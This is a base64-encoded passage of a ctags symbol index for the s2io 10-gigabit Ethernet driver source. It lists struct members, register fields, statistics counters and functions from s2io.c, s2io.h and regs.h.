bmZpZwpwaWNfaW50X3N0YXR1cwlyZWdzLmgJL14gICAgdTY0IHBpY19pbnRfc3RhdHVzOyQvOyIJ bQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpwaWZfcmRfc3dhcHBlcl9mYglyZWdzLmgJL14gICAg dTY0IHBpZl9yZF9zd2FwcGVyX2ZiOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpwa3Rf Y250CXMyaW8uaAkvXiAgICBpbnQgcGt0X2NudFtNQVhfUlhfUklOR1NdOyQvOyIJbQlzdHJ1Y3Q6 czJpb19uaWMKcHJjX2FsYXJtX2FjdGlvbglyZWdzLmgJL14gICAgICAgIHU2NCBwcmNfYWxhcm1f YWN0aW9uOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpwcmNfY3RybF9uCXJlZ3MuaAkv XiAgICAgICAgdTY0IHByY19jdHJsX25bUlhfTUFYX1JJTkdTXTskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKcHJjX3BjaXhfZXJyX2FsYXJtCXJlZ3MuaAkvXiAgICAgICAgdTY0IHByY19w Y2l4X2Vycl9hbGFybTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcHJjX3BjaXhfZXJy X21hc2sJcmVncy5oCS9eICAgICAgICB1NjQgcHJjX3BjaXhfZXJyX21hc2s7JC87IgltCXN0cnVj dDpfWEVOQV9kZXZfY29uZmlnCnByY19wY2l4X2Vycl9yZWcJcmVncy5oCS9eICAgICAgICB1NjQg cHJjX3BjaXhfZXJyX3JlZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcHJjX3J4ZDBf bglyZWdzLmgJL14gICAgICAgIHU2NCBwcmNfcnhkMF9uW1JYX01BWF9SSU5HU107JC87IgltCXN0 cnVjdDpfWEVOQV9kZXZfY29uZmlnCnByZU1hY0FkZHIJczJpby5oCS9eICAgIG1hY2FkZHJfdCBw cmVNYWNBZGRyW01BWF9NQUNfU1VQUE9SVEVEXTskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnByb21p c2NfZmxnCXMyaW8uaAkvXiAgICB1MTYgcHJvbWlzY19mbGc7JC87IgltCXN0cnVjdDpzMmlvX25p YwpyY19lcnJfYWxhcm0JcmVncy5oCS9eICAgICAgICB1NjQgcmNfZXJyX2FsYXJtOyQvOyIJbQlz dHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyY19lcnJfbWFzawlyZWdzLmgJL14gICAgICAgIHU2NCBy Y19lcnJfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcmNfZXJyX3JlZwlyZWdz LmgJL14gICAgICAgIHU2NCByY19lcnJfcmVnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZp ZwpyZF9yZXFfY250CXMyaW8uaAkvXiAgICB1MzIgcmRfcmVxX2NudDskLzsiCW0Jc3RydWN0OnN0 YXRfYmxvY2sKcmRfcnRyeV9jbnQJczJpby5oCS9eICAgIHUzMiByZF9ydHJ5X2NudDskLzsiCW0J c3RydWN0OnN0YXRfYmxvY2sKcmRfcnRyeV93cl9hY2tfY250CXMyaW8uaAkvXiAgICB1MzIgcmRf cnRyeV93cl9hY2tfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpyZGFfZXJyX2FsYXJtCXJl Z3MuaAkvXiAgICAgICAgdTY0IHJkYV9lcnJfYWxhcm07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCnJkYV9lcnJfbWFzawlyZWdzLmgJL14gICAgICAgIHU2NCByZGFfZXJyX21hc2s7JC87 IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJkYV9lcnJfcmVnCXJlZ3MuaAkvXiAgICAgICAg dTY0IHJkYV9lcnJfcmVnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyZWFkMTYJczJp by5oCTc5OTsiCWQKcmVhZDMyCXMyaW8uaAk3OTg7IglkCnJlYWQ2NAlzMmlvLmgJL15zdGF0aWMg aW5saW5lIHU2NCByZWFkNjQodm9pZCAqYWRkcikkLzsiCWYKcmVhZDgJczJpby5oCTgwMDsiCWQK cmVhZEVlcHJvbQlzMmlvLmMJL15zdGF0aWMgdTMyIHJlYWRFZXByb20obmljX3QgKnNwLCBpbnQg b2ZmKSQvOyIJZglmaWxlOgpyZWFkX3JldHJ5X2FjY2VsZXJhdGlvbglyZWdzLmgJL14gICAgdTY0 IHJlYWRfcmV0cnlfYWNjZWxlcmF0aW9uOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpy ZWFkX3JldHJ5X2RlbGF5CXJlZ3MuaAkvXiAgICB1NjQgcmVhZF9yZXRyeV9kZWxheTskLzsiCW0J c3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcmVzZXJ2ZWRfMAlzMmlvLmgJL14gICAgdTMyIHJlc2Vy dmVkXzA7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJlc2VydmVkXzAJczJpby5oCS9eICAgIHU2 NCAgICAgIHJlc2VydmVkXzA7ICQvOyIJbQlzdHJ1Y3Q6X1J4RF9ibG9jawpyZXNlcnZlZF8xCXMy aW8uaAkvXgl1MzIJcmVzZXJ2ZWRfMTskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcmVzZXJ2ZWRf MQlzMmlvLmgJL14gICAgdTY0ICAgICAgcmVzZXJ2ZWRfMTsgXC8qIDB4RkZGRkZGRkZGRkZGRkZG RiB0byBtYXJrIGxhc3QgUnhkIGluIHRoaXMgYmxrKlwvJC87IgltCXN0cnVjdDpfUnhEX2Jsb2Nr CnJlc2VydmVkXzIJczJpby5oCS9eCXU2NCByZXNlcnZlZF8yOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9i bG9jawpyZXNlcnZlZF8yX3BOZXh0X1J4RF9ibG9jawlzMmlvLmgJL14gICAgUnhEX3QqICAgcmVz ZXJ2ZWRfMl9wTmV4dF9SeERfYmxvY2s7XC8qQCAweEZGMDogQ250bF8yLCBMb2dpY2FsIHB0ciB0 byBuZXh0KlwvJC87IgltCXN0cnVjdDpfUnhEX2Jsb2NrCnJlc2VydmVkXzMJczJpby5oCS9eCXUz MiByZXNlcnZlZF8zOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpyZXNlcnZlZF80CXMyaW8uaAkv Xgl1MzIJcmVzZXJ2ZWRfNDskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcmVzZXJ2ZWRfNQlzMmlv LmgJL14JdTY0CXJlc2VydmVkXzU7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJlc2VydmVkXzYJ czJpby5oCS9eCXU2NAlyZXNlcnZlZF82OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpyZXNlcnZl ZF83CXMyaW8uaAkvXgl1MzIJcmVzZXJ2ZWRfNzskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcmVz ZXJ2ZWRfOAlzMmlvLmgJL14gICAgdTMyIHJlc2VydmVkXzg7JC87IgltCXN0cnVjdDpzdGF0X2Js b2NrCnJlc2VydmVkXzkJczJpby5oCS9eCXUzMglyZXNlcnZlZF85OyQvOyIJbQlzdHJ1Y3Q6c3Rh dF9ibG9jawpyZXNldF9sb29wYmFjawlzMmlvLmMJL152b2lkIHJlc2V0X2xvb3BiYWNrKG5pY190 ICpzcCkkLzsiCWYKcmluZ19sZW4JczJpby5jCS9ec3RhdGljIHUzMiByaW5nX2xlbltNQVhfUlhf UklOR1NdOyQvOyIJdglmaWxlOgpyaW5nX2xlbglzMmlvLmgJL14gICAgdTMyICAgICByaW5nX2xl bjskLzsiCW0Jc3RydWN0Ol9yeF9jdXJyX2dldF9pbmZvX3QKcmluZ19udW0JczJpby5jCS9ec3Rh dGljIHUzMiByaW5nX251bTskLzsiCXYJZmlsZToKcm1hY19hY2NlcHRlZF9pcAlzMmlvLmgJL14g ICAgdTMyIHJtYWNfYWNjZXB0ZWRfaXA7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfYWNj ZXB0ZWRfbnVjc3RfZnJtcwlzMmlvLmgJL14gICAgdTMyIHJtYWNfYWNjZXB0ZWRfbnVjc3RfZnJt czskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19hY2NlcHRlZF91Y3N0X2ZybXMJczJpby5o CS9eICAgIHUzMiBybWFjX2FjY2VwdGVkX3Vjc3RfZnJtczskLzsiCW0Jc3RydWN0OnN0YXRfYmxv Y2sKcm1hY19hZGRyX2NtZF9tZW0JcmVncy5oCS9eICAgICAgICB1NjQgcm1hY19hZGRyX2NtZF9t ZW07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJtYWNfYWRkcl9kYXRhMF9tZW0JcmVn cy5oCS9eICAgICAgICB1NjQgcm1hY19hZGRyX2RhdGEwX21lbTskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKcm1hY19hZGRyX2RhdGExX21lbQlyZWdzLmgJL14gICAgICAgIHU2NCBybWFj X2FkZHJfZGF0YTFfbWVtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpybWFjX2NmZ19r ZXkJcmVncy5oCS9eICAgICAgICB1NjQgcm1hY19jZmdfa2V5OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFf ZGV2X2NvbmZpZwpybWFjX2RhdGFfb2N0ZXRzCXMyaW8uaAkvXiAgICB1MzIgcm1hY19kYXRhX29j dGV0czskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19kaXNjYXJkZWRfZnJtcwlzMmlvLmgJ L14gICAgdTMyIHJtYWNfZGlzY2FyZGVkX2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJt YWNfZHJvcF9ldmVudHMJczJpby5oCS9eICAgIHUzMiBybWFjX2Ryb3BfZXZlbnRzOyQvOyIJbQlz dHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2Ryb3BfZnJtcwlzMmlvLmgJL14gICAgdTY0IHJtYWNfZHJv cF9mcm1zOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2Ryb3BfaXAJczJpby5oCS9eICAg IHUzMiBybWFjX2Ryb3BfaXA7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfZXJyX2NmZwly ZWdzLmgJL14gICAgICAgIHU2NCBybWFjX2Vycl9jZmc7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCnJtYWNfZXJyX2RycF91ZHAJczJpby5oCS9eICAgIHUzMiBybWFjX2Vycl9kcnBfdWRw OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2Vycl90Y3AJczJpby5oCS9eICAgIHUzMiBy bWFjX2Vycl90Y3A7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfZmNzX2Vycl9mcm1zCXMy aW8uaAkvXiAgICB1NjQgcm1hY19mY3NfZXJyX2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2Nr CnJtYWNfZnJhZ19mcm1zCXMyaW8uaAkvXgl1MzIgcm1hY19mcmFnX2ZybXM7JC87IgltCXN0cnVj dDpzdGF0X2Jsb2NrCnJtYWNfZnJtc19xMAlzMmlvLmgJL14gICAgdTY0IHJtYWNfZnJtc19xMDsk LzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19mcm1zX3ExCXMyaW8uaAkvXiAgICB1NjQgcm1h Y19mcm1zX3ExOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2ZybXNfcTIJczJpby5oCS9e ICAgIHU2NCBybWFjX2ZybXNfcTI7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfZnJtc19x MwlzMmlvLmgJL14gICAgdTY0IHJtYWNfZnJtc19xMzskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sK cm1hY19mcm1zX3E0CXMyaW8uaAkvXiAgICB1NjQgcm1hY19mcm1zX3E0OyQvOyIJbQlzdHJ1Y3Q6 c3RhdF9ibG9jawpybWFjX2ZybXNfcTUJczJpby5oCS9eICAgIHU2NCBybWFjX2ZybXNfcTU7JC87 IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfZnJtc19xNglzMmlvLmgJL14gICAgdTY0IHJtYWNf ZnJtc19xNjskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19mcm1zX3E3CXMyaW8uaAkvXiAg ICB1NjQgcm1hY19mcm1zX3E3OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2Z1bGxfcTAJ czJpby5oCS9eICAgIHUxNiBybWFjX2Z1bGxfcTA7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJt YWNfZnVsbF9xMQlzMmlvLmgJL14gICAgdTE2IHJtYWNfZnVsbF9xMTskLzsiCW0Jc3RydWN0OnN0 YXRfYmxvY2sKcm1hY19mdWxsX3EyCXMyaW8uaAkvXiAgICB1MTYgcm1hY19mdWxsX3EyOyQvOyIJ bQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2Z1bGxfcTMJczJpby5oCS9eICAgIHUxNiBybWFjX2Z1 bGxfcTM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfZnVsbF9xNAlzMmlvLmgJL14gICAg dTE2IHJtYWNfZnVsbF9xNDskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19mdWxsX3E1CXMy aW8uaAkvXiAgICB1MTYgcm1hY19mdWxsX3E1OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFj X2Z1bGxfcTYJczJpby5oCS9eICAgIHUxNiBybWFjX2Z1bGxfcTY7JC87IgltCXN0cnVjdDpzdGF0 X2Jsb2NrCnJtYWNfZnVsbF9xNwlzMmlvLmgJL14gICAgdTE2IHJtYWNfZnVsbF9xNzskLzsiCW0J c3RydWN0OnN0YXRfYmxvY2sKcm1hY19oZHJfZXJyX2lwCXMyaW8uaAkvXiAgICB1MzIgcm1hY19o ZHJfZXJyX2lwOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX2ljbXAJczJpby5oCS9eICAg IHUzMiBybWFjX2ljbXA7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfaW5fcm5nX2xlbl9l cnJfZnJtcwlzMmlvLmgJL14gICAgdTMyIHJtYWNfaW5fcm5nX2xlbl9lcnJfZnJtczskLzsiCW0J c3RydWN0OnN0YXRfYmxvY2sKcm1hY19pbnZhbGlkX2lwZwlyZWdzLmgJL14gICAgICAgIHU2NCBy bWFjX2ludmFsaWRfaXBnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpybWFjX2lwCXMy aW8uaAkvXgl1MzIJcm1hY19pcDskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19pcF9vY3Rl dHMJczJpby5oCS9eCXU2NAlybWFjX2lwX29jdGV0czskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sK cm1hY19qYWJiZXJfZnJtcwlzMmlvLmgJL14JdTMyIHJtYWNfamFiYmVyX2ZybXM7JC87IgltCXN0 cnVjdDpzdGF0X2Jsb2NrCnJtYWNfbG9uZ19mcm1zCXMyaW8uaAkvXiAgICB1NjQgcm1hY19sb25n X2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfbWF4X3B5bGRfbGVuCXJlZ3MuaAkv XiAgICAgICAgdTY0IHJtYWNfbWF4X3B5bGRfbGVuOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2Nv bmZpZwpybWFjX29zaXplZF9mcm1zCXMyaW8uaAkvXgl1MzIgcm1hY19vc2l6ZWRfZnJtczskLzsi CW0Jc3RydWN0OnN0YXRfYmxvY2sKcm1hY19vdXRfcm5nX2xlbl9lcnJfZnJtcwlzMmlvLmgJL14g ICAgdTMyIHJtYWNfb3V0X3JuZ19sZW5fZXJyX2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2Nr CnJtYWNfcGF1c2VfY2ZnCXJlZ3MuaAkvXiAgICAgICAgdTY0IHJtYWNfcGF1c2VfY2ZnOyQvOyIJ bQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpybWFjX3BhdXNlX2NudAlzMmlvLmgJL14gICAgdTMy IHJtYWNfcGF1c2VfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX3BhdXNlX2N0cmxf ZnJtcwlzMmlvLmgJL14gICAgdTY0IHJtYWNfcGF1c2VfY3RybF9mcm1zOyQvOyIJbQlzdHJ1Y3Q6 c3RhdF9ibG9jawpybWFjX3BhdXNlX3RpbWUJczJpby5oCS9eICAgIHUxNiAgICAgcm1hY19wYXVz ZV90aW1lOyAkLzsiCW0Jc3RydWN0Om1hY19pbmZvCnJtYWNfcmVkX2NmZwlyZWdzLmgJL14gICAg ICAgIHU2NCBybWFjX3JlZF9jZmc7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJtYWNf cmVkX3JhdGVfcTBxMwlyZWdzLmgJL14gICAgICAgIHU2NCBybWFjX3JlZF9yYXRlX3EwcTM7JC87 IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJtYWNfcmVkX3JhdGVfcTRxNwlyZWdzLmgJL14g ICAgICAgIHU2NCBybWFjX3JlZF9yYXRlX3E0cTc7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29u ZmlnCnJtYWNfdGNwCXMyaW8uaAkvXiAgICB1NjQgcm1hY190Y3A7JC87IgltCXN0cnVjdDpzdGF0 X2Jsb2NrCnJtYWNfdHRsXzEwMjRfMTUxOF9mcm1zCXMyaW8uaAkvXiAgICB1NjQgcm1hY190dGxf MTAyNF8xNTE4X2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfdHRsXzEyOF8yNTVf ZnJtcwlzMmlvLmgJL14gICAgdTY0IHJtYWNfdHRsXzEyOF8yNTVfZnJtczskLzsiCW0Jc3RydWN0 OnN0YXRfYmxvY2sKcm1hY190dGxfMjU2XzUxMV9mcm1zCXMyaW8uaAkvXiAgICB1NjQgcm1hY190 dGxfMjU2XzUxMV9mcm1zOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX3R0bF81MTJfMTAy M19mcm1zCXMyaW8uaAkvXiAgICB1NjQgcm1hY190dGxfNTEyXzEwMjNfZnJtczskLzsiCW0Jc3Ry dWN0OnN0YXRfYmxvY2sKcm1hY190dGxfNjRfZnJtcwlzMmlvLmgJL14gICAgdTY0IHJtYWNfdHRs XzY0X2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfdHRsXzY1XzEyN19mcm1zCXMy aW8uaAkvXiAgICB1NjQgcm1hY190dGxfNjVfMTI3X2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Js b2NrCnJtYWNfdHRsX2ZybXMJczJpby5oCS9eICAgIHU2NCBybWFjX3R0bF9mcm1zOyQvOyIJbQlz dHJ1Y3Q6c3RhdF9ibG9jawpybWFjX3R0bF9sZXNzX2ZiX29jdGV0cwlzMmlvLmgJL14gICAgdTY0 IHJtYWNfdHRsX2xlc3NfZmJfb2N0ZXRzOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX3R0 bF9vY3RldHMJczJpby5oCS9eICAgIHUzMiBybWFjX3R0bF9vY3RldHM7JC87IgltCXN0cnVjdDpz dGF0X2Jsb2NrCnJtYWNfdWRwCXMyaW8uaAkvXiAgICB1MzIgcm1hY191ZHA7JC87IgltCXN0cnVj dDpzdGF0X2Jsb2NrCnJtYWNfdW5zdXBfY3RybF9mcm1zCXMyaW8uaAkvXiAgICB1NjQgcm1hY191 bnN1cF9jdHJsX2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfdXNpemVkX2ZybXMJ czJpby5oCS9eCXUzMiBybWFjX3VzaXplZF9mcm1zOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpy bWFjX3ZsZF9iY3N0X2ZybXMJczJpby5oCS9eICAgIHUzMiBybWFjX3ZsZF9iY3N0X2ZybXM7JC87 IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfdmxkX2ZybXMJczJpby5oCS9eICAgIHUzMiBybWFj X3ZsZF9mcm1zOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpybWFjX3ZsZF9tY3N0X2ZybXMJczJp by5oCS9eICAgIHUzMiBybWFjX3ZsZF9tY3N0X2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2Nr CnJtYWNfeGdtaWlfY3RybF9lcnJfY250CXMyaW8uaAkvXiAgICB1NjQgcm1hY194Z21paV9jdHJs X2Vycl9jbnQ7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJtYWNfeGdtaWlfZGF0YV9lcnJfY250 CXMyaW8uaAkvXiAgICB1NjQgcm1hY194Z21paV9kYXRhX2Vycl9jbnQ7JC87IgltCXN0cnVjdDpz dGF0X2Jsb2NrCnJtYWNfeGdtaWlfZXJyX3N5bQlzMmlvLmgJL14gICAgdTY0IHJtYWNfeGdtaWlf ZXJyX3N5bTskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcm9tX2V4cGFuc2lvbglzMmlvLmgJL14g ICAgdTMyIHJvbV9leHBhbnNpb247JC87IgltCXN0cnVjdDpzMmlvX25pYwpyb3VuZF9yb2Jpbl9y ZWcwCXMyaW8uYwkvXnN0YXRpYyB1NjQgcm91bmRfcm9iaW5fcmVnMCA9IDB4MDAwMTAyMDMwNDAw MDEwNTskLzsiCXYJZmlsZToKcm91bmRfcm9iaW5fcmVnMQlzMmlvLmMJL15zdGF0aWMgdTY0IHJv dW5kX3JvYmluX3JlZzEgPSAweDAyMDAwMzAxMDYwMDAyMDQ7JC87Igl2CWZpbGU6CnJvdW5kX3Jv YmluX3JlZzIJczJpby5jCS9ec3RhdGljIHU2NCByb3VuZF9yb2Jpbl9yZWcyID0gMHgwMTAzMDAw NTAyMDEwMDA3OyQvOyIJdglmaWxlOgpyb3VuZF9yb2Jpbl9yZWczCXMyaW8uYwkvXnN0YXRpYyB1 NjQgcm91bmRfcm9iaW5fcmVnMyA9IDB4MDMwNDAxMDAwMjA2MDUwMDskLzsiCXYJZmlsZToKcm91 bmRfcm9iaW5fcmVnNAlzMmlvLmMJL15zdGF0aWMgdTY0IHJvdW5kX3JvYmluX3JlZzQgPSAweDAx MDMwMjA0MDAwMDAwMDA7JC87Igl2CWZpbGU6CnJwYV9lcnJfYWxhcm0JcmVncy5oCS9eICAgICAg ICB1NjQgcnBhX2Vycl9hbGFybTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcnBhX2Vy cl9tYXNrCXJlZ3MuaAkvXiAgICAgICAgdTY0IHJwYV9lcnJfbWFzazskLzsiCW0Jc3RydWN0Ol9Y RU5BX2Rldl9jb25maWcKcnBhX2Vycl9yZWcJcmVncy5oCS9eICAgICAgICB1NjQgcnBhX2Vycl9y ZWc7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ0aV9jb21tYW5kX21lbQlyZWdzLmgJ L14gICAgICAgIHU2NCBydGlfY29tbWFuZF9tZW07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29u ZmlnCnJ0aV9kYXRhMV9tZW0JcmVncy5oCS9eICAgICAgICB1NjQgcnRpX2RhdGExX21lbTskLzsi CW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcnRpX2RhdGEyX21lbQlyZWdzLmgJL14gICAgICAg IHU2NCBydGlfZGF0YTJfbWVtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpydGlfZXJy X2FsYXJtCXJlZ3MuaAkvXiAgICAgICAgdTY0IHJ0aV9lcnJfYWxhcm07JC87IgltCXN0cnVjdDpf WEVOQV9kZXZfY29uZmlnCnJ0aV9lcnJfbWFzawlyZWdzLmgJL14gICAgICAgIHU2NCBydGlfZXJy X21hc2s7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ0aV9lcnJfcmVnCXJlZ3MuaAkv XiAgICAgICAgdTY0IHJ0aV9lcnJfcmVnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpy dHNfY3RybAlyZWdzLmgJL14gICAgICAgIHU2NCBydHNfY3RybDskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKcnRzX2RlZmF1bHRfcQlyZWdzLmgJL14gICAgICAgIHU2NCBydHNfZGVmYXVs dF9xOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpydHNfZGl4X21hcF9uCXJlZ3MuaAkv XiAgICAgICAgdTY0IHJ0c19kaXhfbWFwX25bTUFYX0RJWF9NQVBdOyQvOyIJbQlzdHJ1Y3Q6X1hF TkFfZGV2X2NvbmZpZwpydHNfZHNfbWVtX2N0cmwJcmVncy5oCS9eICAgICAgICB1NjQgcnRzX2Rz X21lbV9jdHJsOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpydHNfZHNfbWVtX2RhdGEJ cmVncy5oCS9eICAgICAgICB1NjQgcnRzX2RzX21lbV9kYXRhOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFf ZGV2X2NvbmZpZwpydHNfZnJtX2xlbl9uCXJlZ3MuaAkvXiAgICAgICAgdTY0IHJ0c19mcm1fbGVu X25bOF07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ0c19wbl9jYW1fY3RybAlyZWdz LmgJL14gICAgICAgIHU2NCBydHNfcG5fY2FtX2N0cmw7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCnJ0c19wbl9jYW1fZGF0YQlyZWdzLmgJL14gICAgICAgIHU2NCBydHNfcG5fY2FtX2Rh dGE7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ0c19xX2FsdGVybmF0ZXMJcmVncy5o CS9eICAgICAgICB1NjQgcnRzX3FfYWx0ZXJuYXRlczskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9j b25maWcKcnRzX3Fvc19zdGVlcmluZwlyZWdzLmgJL14gICAgICAgIHU2NCBydHNfcW9zX3N0ZWVy aW5nOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyeEludHJIYW5kbGVyCXMyaW8uYwkv XnN0YXRpYyB2b2lkIHJ4SW50ckhhbmRsZXIoc3RydWN0IHMyaW9fbmljICpuaWMpJC87IglmCWZp bGU6CnJ4T3NtSGFuZGxlcglzMmlvLmMJL15pbnQgcnhPc21IYW5kbGVyKG5pY190ICpzcCx1MTYg bGVuLFJ4RF90ICpyeGRwLGludCByaW5nX25vKSQvOyIJZgpyeF9ibG9ja19pbmZvCXMyaW8uaAkv XnR5cGVkZWYgc3RydWN0IHJ4X2Jsb2NrX2luZm8kLzsiCXMKcnhfYmxvY2tfaW5mb190CXMyaW8u aAkvXn1yeF9ibG9ja19pbmZvX3Q7JC87Igl0CnJ4X2Jsb2NrcwlzMmlvLmgJL14gICAgc3RydWN0 IHJ4X2Jsb2NrX2luZm8gcnhfYmxvY2tzW01BWF9SWF9SSU5HU11bTUFYX1JYX0JMT0NLU19QRVJf UklOR107JC87IgltCXN0cnVjdDpzMmlvX25pYwpyeF9idWZmZXJfbGV2ZWwJczJpby5jCS9ec3Rh dGljIGlubGluZSBpbnQgcnhfYnVmZmVyX2xldmVsKG5pY190ICpzcCwgaW50IHJ4Yl9zaXplLCBp bnQgcmluZykkLzsiCWYJZmlsZToKcnhfYnVmc19sZWZ0CXMyaW8uaAkvXiAgICBhdG9taWNfdCBy eF9idWZzX2xlZnRbTUFYX1JYX1JJTkdTXTskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnJ4X2N1cnJf Z2V0X2luZm8JczJpby5oCS9eICAgIHJ4X2N1cnJfZ2V0X2luZm9fdCAgcnhfY3Vycl9nZXRfaW5m b1tNQVhfUlhfUklOR1NdOyBcLyogY29tbWVudHMgaGVyZSAqXC8gJC87IgltCXN0cnVjdDptYWNf aW5mbwpyeF9jdXJyX2dldF9pbmZvX3QJczJpby5oCS9efSByeF9jdXJyX2dldF9pbmZvX3Q7JC87 Igl0CnJ4X2N1cnJfcHV0X2luZm8JczJpby5oCS9eICAgIHJ4X2N1cnJfcHV0X2luZm9fdCAgcnhf Y3Vycl9wdXRfaW5mb1tNQVhfUlhfUklOR1NdOyBcLyogY29tbWVudHMgaGVyZSAqXC8gJC87Iglt CXN0cnVjdDptYWNfaW5mbwpyeF9jdXJyX3B1dF9pbmZvX3QJczJpby5oCS9edHlwZWRlZiByeF9j dXJyX2dldF9pbmZvX3QgICAgICAgICAgICAgIHJ4X2N1cnJfcHV0X2luZm9fdDskLzsiCXQKcnhf ZXJyX2NvdW50CXMyaW8uaAkvXiAgICB1MTYgcnhfZXJyX2NvdW50OyQvOyIJbQlzdHJ1Y3Q6czJp 